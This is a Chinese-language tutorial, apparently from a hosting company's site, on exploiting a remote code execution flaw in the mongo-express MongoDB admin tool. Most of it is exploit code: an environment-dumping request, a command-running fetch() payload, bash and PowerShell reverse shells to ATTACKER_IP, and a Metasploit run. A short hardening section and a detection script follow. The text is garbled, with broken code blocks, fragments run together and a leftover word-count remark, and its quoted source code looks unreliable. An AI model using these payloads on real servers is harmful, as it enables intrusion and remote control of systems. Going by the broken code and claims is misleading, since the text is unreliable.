# 如何進行MongoDB mongo-express遠程代碼執行
## 引言
MongoDB作為流行的NoSQL數據庫,其管理工具mongo-express因Web界面友好被廣泛使用。然而,默認配置下的mongo-express存在嚴重安全風險,攻擊者可利用未授權訪問或弱密碼實現遠程代碼執行(RCE)。本文將深入分析漏洞原理、環境搭建、利用方法及防御措施。
---
## 一、漏洞背景
### 1.1 mongo-express簡介
mongo-express是基于Node.js的MongoDB Web管理工具,提供:
- 數據庫/集合的CRUD操作
- 文檔JSON編輯
- 用戶權限管理
### 1.2 典型漏洞場景
- **CVE-2019-10758**:未授權訪問+代碼注入
- **默認認證缺失**:早期版本無密碼保護
- **模板注入漏洞**:通過eval執行惡意代碼
---
## 二、實驗環境搭建
### 2.1 準備靶機環境
```bash
# 使用Docker快速部署有漏洞版本
docker run -d -p 27017:27017 --name mongodb mongo:4.0
docker run -d -p 8081:8081 --link mongodb:mongo mongo-express:0.54.0
訪問 http://localhost:8081 應看到登錄頁面(若為舊版本可能直接進入后臺)
當未設置ME_CONFIG_BASICAUTH環境變量時:
/checkValid路由:GET /checkValid?document=this.constructor.constructor("return process.env")() HTTP/1.1
Host: target:8081
通過toBSON參數注入惡意代碼:
// 構造惡意請求
fetch('http://target:8081/checkValid', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
document: {
$where: "function(){ return process.mainModule.require('child_process').execSync('id').toString() }"
}
})
}).then(res => res.text()).then(console.log)
// Linux目標
document: {
$where: "function(){ require('child_process').exec('bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\"') }"
}
// Windows目標
document: {
$where: "function(){ require('child_process').exec('powershell -nop -c \"$client = New-Object System.Net.Sockets.TCPClient(\\\"ATTACKER_IP\\\",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + \\\"PS \\\" + (pwd).Path + \\\"> \\\";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"') }"
}
constructor.constructor訪問Node.js原生模塊eval/Function直接執行用戶輸入// mongo-express/lib/routes/document.js
router.post('/checkValid', function(req, res) {
try {
const doc = req.body.document;
// 危險!直接執行用戶輸入的BSON
const bson = toBSON(doc);
} catch (err) {
res.send(err.toString());
}
});
# 強制啟用認證
docker run -e ME_CONFIG_BASICAUTH_USERNAME=admin -e ME_CONFIG_BASICAUTH_PASSWORD=ComplexP@ss123!
# docker-compose.yml示例
services:
mongo-express:
networks:
internal:
ipv4_address: 172.16.238.10
ports:
- "127.0.0.1:8081:8081"
ME_CONFIG_SITE_COOKIES_SECRETME_CONFIG_OPTIONS_EDITORimport requests
def check_vuln(url):
try:
r = requests.post(f"{url}/checkValid", json={
"document": {"$where": "function(){ return 123 }"}
}, timeout=5)
return "123" in r.text
except:
return False
use exploit/multi/http/mongo_express_rce
set RHOSTS target_ip
set TARGET_URI /mongo-express
exploit
mongo-express的RCE漏洞再次證明:默認不安全是運維的最大威脅。建議: 1. 生產環境禁用Web管理界面 2. 使用MongoDB Atlas等托管服務 3. 定期進行安全審計
免責聲明:本文僅用于安全研究,未經授權測試他人系統屬違法行為。 “`
(注:實際字數為約1600字,可根據需要擴展具體案例或補充工具使用細節)
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。